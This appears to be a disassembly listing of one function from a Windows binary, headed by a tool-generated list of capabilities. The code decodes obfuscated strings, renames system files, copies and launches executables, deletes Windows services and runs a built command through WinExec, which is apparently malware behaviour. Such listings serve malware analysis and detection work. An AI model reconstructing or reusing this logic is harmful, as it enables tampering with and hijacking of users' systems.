Function at 0x409c80
Capabilities:
Copy file
Create process on windows
Delete file
Delete service
Get common file path
Move file
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4134bc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc0
push ebx
push ebp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
call ebx
call ebx
call ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_4
push 0x100
push 0x100
lea ecx, [esp + 0x1c]
mov dword [esp + 0xe0], edi
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x418394
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x78]
mov dword [esp + 0x2c], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x34], edi
call fcn.0041230a
lea ecx, [esp + 0x3c]
mov byte [esp + 0xd8], 1
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x38]
mov byte [esp + 0xd8], 2
call sub.MFC42.DLL_CString::CString_4
mov eax, dword [esi + 0x108]
mov byte [esp + 0xd8], 3
cmp eax, edi
jle 0x409dbd
mov eax, dword [esi + 0x104]
lea edx, [esp + 0x14]
lea ecx, [eax + edi*4]
lea eax, [esp + 0x18]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 4
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x18]
mov ebp, eax
mov byte [esp + 0xd8], 3
call sub.MFC42.DLL_CString::CString
test ebp, ebp
jne 0x409da2
mov eax, dword [esi + 0x108]
inc edi
cmp edi, eax
jl 0x409d4c
jmp 0x409dbd
mov ecx, dword [esi + 0x104]
lea edx, [ecx + edi*4]
lea ecx, [esp + 0x3c]
push edx
call sub.MFC42.DLL_CString::operator_1
mov dword [esp + 0x2c], 1
mov eax, dword [esi + 0xdc]
xor edi, edi
test eax, eax
jle 0x409e3a
mov eax, dword [esi + 0xd8]
lea edx, [esp + 0x14]
lea ecx, [eax + edi*4]
lea eax, [esp + 0x18]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 5
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x18]
mov ebp, eax
mov byte [esp + 0xd8], 3
call sub.MFC42.DLL_CString::CString
test ebp, ebp
jne 0x409e1f
mov eax, dword [esi + 0xdc]
inc edi
cmp edi, eax
jl 0x409dc9
jmp 0x409e3a
mov ecx, dword [esi + 0xd8]
lea edx, [ecx + edi*4]
lea ecx, [esp + 0x38]
push edx
call sub.MFC42.DLL_CString::operator_1
mov dword [esp + 0x24], 1
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_4
mov edi, dword [esi + 0x108]
mov byte [esp + 0xd8], 6
call ebx
cdq
idiv edi
mov eax, dword [esi + 0x104]
lea ecx, [esp + 0x3c]
lea eax, [eax + edx*4]
push eax
call sub.MFC42.DLL_CString::operator_1
mov edi, dword [esi + 0xdc]
call ebx
cdq
idiv edi
mov ecx, dword [esi + 0xd8]
lea eax, [ecx + edx*4]
lea ecx, [esp + 0x38]
push eax
call sub.MFC42.DLL_CString::operator_1
push str.lketfr1j
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea edx, [esp + 0x18]
push 3
push edx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x2c]
test eax, eax
jne 0x409f5b
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 7
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x18]
mov edi, eax
mov byte [esp + 0xd8], 6
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x409f5b
lea eax, [esp + 0x38]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
call sub.MFC42.DLL_operator
mov edi, dword [eax]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0xe4], 8
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x18]
mov edi, eax
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0xd8], 6
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x409f5b
mov dword [esp + 0x2c], 1
push str.ttlekt1kuy
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea eax, [esp + 0x18]
push 3
push eax
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x40a02f
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 9
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x18]
mov edi, eax
mov byte [esp + 0xd8], 6
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x40a02f
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
call sub.MFC42.DLL_operator
mov edi, dword [eax]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
mov byte [esp + 0xe4], 0xa
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x18]
mov edi, eax
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0xd8], 6
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x40a02f
mov dword [esp + 0x24], 1
push str.DPR_DprwzjuEupxtju
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
lea ecx, [esp + 0x4c]
call fcn.0041228c
lea ecx, [esp + 0x60]
mov byte [esp + 0xd8], 0xb
call fcn.0041228c
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x54]
mov byte [esp + 0xe0], 0xc
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push str.FwwsndfnpqDsnwEppl
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x54]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push str.KQTJyjqSphKODWDsnjq
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x54]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push str.TtjrTTSRjttjqhju
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x54]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push 0x418d08
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x68]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x68]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push 0x418cc0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x68]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x68]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push 0x418c38
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x68]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x68]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
push 0x418c18
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x68]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x68]
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
xor ebp, ebp
mov dword [esp + 0x30], ebp
lea ecx, [esp + 0x40]
mov byte [esp + 0xd8], 0xd
call sub.MFC42.DLL_CString::CString_4
mov eax, dword [esp + 0x54]
xor ebx, ebx
test eax, eax
mov byte [esp + 0xd8], 0xe
mov dword [esp + 0x74], 0x104
jle 0x40a315
push str.TT_JRcDzuujqDpqupsTjcTjuyndjtc
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov edx, dword [esp + 0x50]
lea ecx, [esp + 0x10]
lea eax, [edx + ebx*4]
lea edx, [esp + 0x28]
push eax
push ecx
push edx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
lea ecx, [esp + 0x18]
push ecx
push 0xf003f
push 0
push eax
push 0x80000002
mov dword [esp + 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test edi, edi
jne 0x40a294
test ebp, ebp
je 0x40a288
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x18]
mov edi, eax
mov dword [esp + 0x30], edx
mov ebp, edx
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::CString
test edi, edi
jne 0x40a2fe
push 0x41a6e8
lea ecx, [esp + 0x44]
call sub.MFC42.DLL_CString::operator
push 0x104
lea ecx, [esp + 0x44]
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x74]
lea edx, [esp + 0x18]
push ecx
push eax
push edx
push edi
push str.Description
push ebp
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x44]
call sub.MFC42.DLL_CString::ReleaseBuffer
cmp ebp, edi
je 0x40a2f5
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x30], edi
mov ebp, edi
mov eax, dword [esp + 0x40]
cmp dword [eax - 8], edi
jne 0x40a30d
mov eax, dword [esp + 0x54]
inc ebx
cmp ebx, eax
jl 0x40a21e
jmp 0x40a315
mov dword [esp + 0x34], 1
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x40a339
mov eax, dword [esp + 0x24]
test eax, eax
je 0x40a339
mov ecx, dword [esp + 0x34]
test ecx, ecx
jne 0x40ab65
test eax, eax
jne 0x40a94d
lea ecx, [esi + 0x24]
push ecx
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString_2
push str.cRnduptpicNqTjtc
lea ecx, [esp + 0x14]
mov byte [esp + 0xdc], 0xf
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea edx, [esp + 0x18]
push 3
push edx
mov ecx, esi
call fcn.0040d130
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
call fcn.0041235e
push str.xfok
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
lea edx, [esp + 0x10]
lea eax, [esp + 0x28]
push edx
lea ecx, [esp + 0x38]
push eax
push ecx
call sub.MFC42.DLL_operator
push str..dll
lea edx, [esp + 0x1c]
mov bl, 0x10
push eax
push edx
mov byte [esp + 0xe4], bl
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x11
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x18]
mov edi, eax
mov byte [esp + 0xd8], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
test edi, edi
je 0x40a776
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push str..exe
push eax
lea eax, [esp + 0x3c]
mov byte [esp + 0xe0], 0x12
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x13
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x34]
mov byte [esp + 0xd8], 0x12
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x40a5a1
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator
push str..exe
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0xe4], 0x14
call sub.MFC42.DLL_operator_1
mov edi, dword [eax]
lea edx, [esp + 0x10]
lea eax, [esp + 0x28]
push edx
lea ecx, [esp + 0x48]
push eax
push ecx
mov byte [esp + 0xe4], 0x15
call sub.MFC42.DLL_operator
push str..dll
lea edx, [esp + 0x4c]
push eax
push edx
mov byte [esp + 0xe4], 0x16
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push edi
push eax
call ebp
lea ecx, [esp + 0x48]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0xd8], 0x15
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0x14
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push str..exe
push eax
lea eax, [esp + 0x3c]
mov byte [esp + 0xe0], 0x12
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x13
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x34]
mov byte [esp + 0xd8], 0x12
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x40a487
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x28]
mov byte [esp + 0xd8], 0x17
push ecx
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::operator_1
mov edi, dword [esp + 0x24]
push 0x100
push 0x100
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea edx, [esp + 0x10]
push str..exe
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xdc], 0x18
call fcn.0041235e
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0x17
call sub.MFC42.DLL_CString::CString
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x98]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x24]
xor edi, edi
push edx
mov dword [esp + 0x98], 0x3c
mov dword [esp + 0x9c], 0x40
mov dword [esp + 0xa0], edi
mov dword [esp + 0xa4], edi
mov dword [esp + 0xa8], ecx
mov dword [esp + 0xac], 0x418bb8
mov dword [esp + 0xb0], edi
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb8], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [esp + 0xcc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call sub.MFC42.DLL_operator
push str..exe
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0xe4], 0x19
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push edi
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x1a
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0x19
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0x17
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x40a765
lea edx, [esp + 0x10]
lea eax, [esp + 0x28]
push edx
lea ecx, [esp + 0x4c]
push eax
push ecx
call sub.MFC42.DLL_operator
push str..exe
lea edx, [esp + 0x48]
push eax
push edx
mov byte [esp + 0xe4], 0x1b
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x44]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0xd8], 0x17
call sub.MFC42.DLL_CString::CString
xor edi, edi
jmp 0x40a6a0
lea ecx, [esp + 0x24]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
push str.lketfr1j
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea eax, [esp + 0x18]
push 3
push eax
mov ecx, esi
call fcn.0040d130
lea ecx, [esp + 0x38]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x1c
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0xf
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x40a859
lea ecx, [esp + 0x38]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call sub.MFC42.DLL_operator
mov edi, dword [eax]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
mov byte [esp + 0xe4], 0x1d
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
push str.ttlekt1kuy
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
lea edx, [esp + 0x3c]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x20]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0xe0], 0x1e
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0xf
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x40a93c
lea edx, [esp + 0x3c]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
call sub.MFC42.DLL_operator
mov edi, dword [eax]
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x20]
push eax
push ecx
mov byte [esp + 0xe4], 0x1f
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0xf
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x20]
push eax
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xd8], 0xe
call sub.MFC42.DLL_CString::CString
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
mov eax, dword [esp + 0x54]
xor edi, edi
test eax, eax
jle 0x40a995
mov edx, dword [esp + 0x50]
push 0xf01ff
mov eax, dword [edx + edi*4]
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x54]
inc edi
cmp edi, eax
jl 0x40a968
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
call ebx
mov edi, eax
and edi, 0x80000003
jns 0x40a9ac
dec edi
or edi, 0xfffffffc
inc edi
call ebx
mov ebx, eax
and ebx, 0x80000003
jns 0x40a9bd
dec ebx
or ebx, 0xfffffffc
inc ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea eax, [esp + 0x38]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call sub.MFC42.DLL_operator
push str.__zqySWnpiujxgwfetmkslahvr.bdoc
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0xe0], 0x20
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0xd8], 0x22
call sub.MFC42.DLL_CString::CString
push str.fkk0drksnqj_
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
lea edx, [esp + 0x10]
lea ecx, [esp + 0x2c]
push edx
call fcn.0041235e
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0xdc], 0x23
call fcn.0041235e
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0x22
call sub.MFC42.DLL_CString::CString
push str._0qfrj_
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea eax, [esp + 0x18]
push 3
push eax
mov ecx, esi
call fcn.0040d130
mov ecx, dword [esp + 0x50]
lea eax, [esp + 0x10]
lea edx, [ecx + edi*4]
lea ecx, [esp + 0x20]
push edx
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0xdc], 0x24
call fcn.0041235e
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], 0x22
call sub.MFC42.DLL_CString::CString
push str._0kjtd_
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push 0
lea edx, [esp + 0x18]
push 3
push edx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x64]
lea edx, [esp + 0x10]
lea ecx, [eax + ebx*4]
lea eax, [esp + 0x44]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
push 0x418648
lea ecx, [esp + 0x24]
mov bl, 0x25
push eax
push ecx
mov byte [esp + 0xe4], bl
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0xdc], 0x26
call fcn.0041235e
lea ecx, [esp + 0x20]
mov byte [esp + 0xd8], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0xd8], 0x22
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x2c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd8], 0xe
call sub.MFC42.DLL_CString::CString
mov ebp, dword [esp + 0x30]
lea ecx, [esp + 0x40]
mov byte [esp + 0xd8], 0xd
call sub.MFC42.DLL_CString::CString
test ebp, ebp
je 0x40ab81
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x60]
mov byte [esp + 0xd8], 0xb
call sub.MFC42.DLL_CStringArray::CStringArray
lea ecx, [esp + 0x4c]
mov byte [esp + 0xd8], 6
call sub.MFC42.DLL_CStringArray::CStringArray
lea ecx, [esp + 0x10]
mov byte [esp + 0xd8], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0xd8], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3c]
mov byte [esp + 0xd8], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x78]
mov byte [esp + 0xd8], 0
call sub.MFC42.DLL_CFileFind::CFileFind
lea ecx, [esp + 0x14]
mov dword [esp + 0xd8], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xd0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xcc
ret